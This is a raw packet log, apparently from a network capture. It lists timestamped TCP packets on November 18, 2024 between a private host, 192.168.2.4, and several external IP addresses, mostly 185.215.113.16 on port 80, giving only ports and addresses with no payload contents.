Nov 18, 2024 21:04:22.625647068 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625667095 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625686884 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625706911 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.625724077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.625741005 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.625749111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625757933 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.625775099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.625778913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625778913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625798941 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.625817060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.626413107 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626430035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626446962 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626463890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626477957 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.626478910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626496077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626512051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626522064 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.626522064 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.626528978 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626543045 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.626544952 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.626573086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.626590967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627098083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627114058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627132893 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627149105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627160072 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627163887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627181053 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627185106 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627197027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627209902 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627214909 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627239943 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627249002 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627259970 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627265930 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627284050 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627300024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627325058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627310991 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627342939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627358913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627358913 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627393007 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627847910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627876043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627891064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.627904892 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627942085 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627942085 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.627991915 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628007889 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628035069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628051043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628050089 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628067970 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628083944 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628092051 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628101110 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628118038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628122091 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628122091 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628134012 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628142118 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628150940 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628168106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628169060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628169060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628185987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628189087 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628210068 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628228903 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628931046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628948927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628966093 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.628974915 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.628983021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629002094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629003048 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629029036 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629045963 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629053116 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629062891 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629080057 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629084110 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629084110 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629096985 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629102945 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629113913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629129887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629132032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629132032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629147053 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629151106 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629163980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629170895 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629179001 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629195929 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629198074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629198074 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629219055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629235983 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629748106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629765987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629787922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629805088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629813910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629821062 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629833937 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629838943 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.629853010 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629878044 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.629878044 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630105972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630122900 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630141020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630156040 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630156994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630156994 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630175114 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630179882 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630199909 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630204916 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630220890 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630222082 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630239964 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630255938 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630268097 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630271912 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630289078 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630306005 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630307913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630323887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630340099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630354881 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630372047 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.630373001 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630373001 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630397081 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.630412102 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631129980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631145954 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631160975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631176949 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631191015 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631191015 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631192923 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631211042 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631218910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631218910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631227016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631238937 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631244898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631262064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631264925 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631264925 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631278992 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631285906 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631294966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631320953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631330967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631330967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631330967 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631340027 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631356955 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631366968 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631371975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631382942 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631391048 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.631398916 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631426096 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.631426096 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632080078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632097006 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632112980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632129908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632133961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632134914 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632150888 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632154942 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632167101 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632177114 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632184029 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632194996 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632201910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632214069 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632219076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632236004 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632239103 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632239103 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632251978 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632260084 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632268906 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632285118 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632287025 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632287979 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632301092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632307053 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632318020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632327080 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632350922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632350922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632860899 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632877111 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632893085 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632910013 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.632932901 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632965088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.632992983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633189917 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633207083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633224010 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633239031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633254051 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633255005 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633254051 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633271933 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633275986 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633289099 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633301973 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633307934 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633321047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633323908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633342028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633347034 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633347034 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633357048 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633367062 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633374929 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633393049 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633394003 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633394003 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633409977 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.633419037 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633434057 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.633450031 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634171009 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634186983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634203911 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634218931 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634233952 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634249926 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634258032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634265900 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634277105 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634284019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634298086 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634300947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634318113 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634319067 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634332895 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634344101 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634345055 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634351015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634365082 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634366035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.634390116 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634390116 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.634409904 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.636993885 CET	49854	443	192.168.2.4	188.114.96.3
Nov 18, 2024 21:04:22.637062073 CET	443	49854	188.114.96.3	192.168.2.4
Nov 18, 2024 21:04:22.637654066 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.637670040 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.638089895 CET	49859	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.638096094 CET	443	49859	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.664812088 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:22.664855957 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:22.668912888 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.670391083 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.670500994 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.670516968 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.670559883 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.670630932 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.670645952 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.670660019 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.726912022 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.726953983 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.726978064 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.727092981 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762557030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762593985 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762613058 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762649059 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762691021 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762705088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762721062 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762737989 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762753963 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762780905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762780905 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762803078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762820959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762851000 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762877941 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762943029 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762957096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762972116 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762989044 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.762994051 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.762994051 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763015032 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763015032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763035059 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763216972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763232946 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763252020 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763267994 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763272047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763272047 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763284922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763293982 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763303041 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763329029 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763334990 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763334990 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763346910 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763367891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763367891 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763394117 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763885975 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763902903 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763919115 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763932943 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763942957 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763942957 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763948917 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763963938 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763964891 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763988972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.763989925 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.763989925 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.764003992 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.764015913 CET	49853	80	192.168.2.4	185.215.113.16
